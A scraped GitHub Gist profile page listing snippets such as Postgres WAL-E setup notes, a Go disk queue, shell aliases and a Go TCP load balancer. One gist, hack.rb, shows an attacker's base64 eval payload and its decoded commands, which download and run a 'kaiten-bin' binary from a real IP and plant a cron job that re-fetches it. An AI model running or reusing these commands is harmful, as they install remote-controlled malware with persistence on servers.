Skip to content

Instantly share code, notes, and snippets.

View darkhelmet's full-sized avatar
🏠
Working from home

Daniel Huckstep darkhelmet

🏠
Working from home
View GitHub Profile
@darkhelmet
darkhelmet / wale_postgres_recovery.md
Created February 15, 2014 04:09 — forked from elithrar/wale_postgres_recovery.md
WAL-E + Postgres 9.x (single server + DB) Setup and Recovery

A quick "how to" on what you need to do to both setup AND recover a single-server PostgreSQL database using WAL-E

  • WAL-E: https://github.com/wal-e/wal-e
  • Assuming Ubuntu 12.04 LTS ("Precise")
  • We'll be using S3. Make sure you have an IAM in a group with GetObject, ListBucket and PutObject on the bucket you want to use (and that it's not public).

Setup:

  1. These packages:
class RebootRequiredPlugin < Scout::Plugin
def build_report
reboot_required = system('file /var/run/reboot-required >/dev/null 2>&1')
report(:reboot_required => reboot_required ? 1 : 0)
end
end
@darkhelmet
darkhelmet / spooler.go
Created November 10, 2013 05:03 — forked from burke/spooler.go
// package spooler implements a disk-persistent queue.
//
// Spooler uses MDB (LMDB) to implement a queue of byteslices. Its intended usecase
// is to enqueue work items received by a service before later working them off.
// Note that Spooler only flushes to disk up to once every 25ms. As a result,
// if the process or machine crashes unexpectedly, the most recent 25ms of work
// can be lost. This decision effectively increases throughput by 10,000%,
// but makes spooler unsuitable for jobs that absolutely cannot be allowed to fail
// under any circumstances.
package spooler
@darkhelmet
darkhelmet / heroes.kpeg
Last active December 24, 2015 16:59
weird kpeg behaviour
%% name = Heroes
%% {
attr_accessor :result
def self.run(text)
parser = new(text)
return parser.result if parser.parse
raise ParseError, parser.failure_info
end
alias master='git checkout master'
alias staging='git checkout staging'
alias release='git checkout release'
alias production='git checkout production'
alias rake='bundle exec rake'
alias rspec='bundle exec rspec'
alias cucumber='bundle exec cucumber'
eval "$(./sub/bin/ys init -)"
@darkhelmet
darkhelmet / host.pp
Last active December 20, 2015 09:09
Puppet manifest for scout
import "setup"
node server {
scout { "role1,role2":
gems => ["redis", "resque"]
}
}
require 'new_relic/agent/instrumentation/sinatra'
module NewRelic
module Agent
module Instrumentation
module Sinatra
def ignore_apdex?
skip = self.response.status.to_i == 404
if skip
env.delete('sinatra.error')
@darkhelmet
darkhelmet / balance.go
Created June 16, 2013 05:05
Simple TCP load balancer in Go.
package main
import (
"flag"
"io"
"log"
"net"
"strings"
)
@darkhelmet
darkhelmet / hack.rb
Created May 23, 2013 15:38
What this Ukraine hacker was trying to run on our servers.
# Wanted to eval this
%[c3lzdGVtKCJ3Z2V0IC1PIC92YXIvdG1wL2sgMTg4LjE5MC4xMjQuMTIwL2thaXRlbi1iaW4iKQpzeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL2siKQpzeXN0ZW0oIi92YXIvdG1wL2siKQpzeXN0ZW0oJ2Nyb250YWIgLXInKQpzeXN0ZW0oJyhjcm9udGFiIC1sIDsgZWNobyAiKiAxICogKiAqIHdnZXQgLU8gL3Zhci90bXAvayAxODguMTkwLjEyNC4xMjAva2FpdGVuLWJpbiAmJiBjaG1vZCAreCAvdmFyL3RtcC9rICYmIC92YXIvdG1wL2siKSB8IGNyb250YWIgLScp].unpack(%[m0])[0]
# Which would run this
system("wget -O /var/tmp/k 188.190.124.120/kaiten-bin")
system("chmod +x /var/tmp/k")
system("/var/tmp/k")
system('crontab -r')
system('(crontab -l ; echo \"* 1 * * * wget -O /var/tmp/k 188.190.124.120/kaiten-bin && chmod +x /var/tmp/k && /var/tmp/k\") | crontab -')
package thash
import (
"sync"
"sync/atomic"
"time"
)
type THashDefer struct {
h map[int]string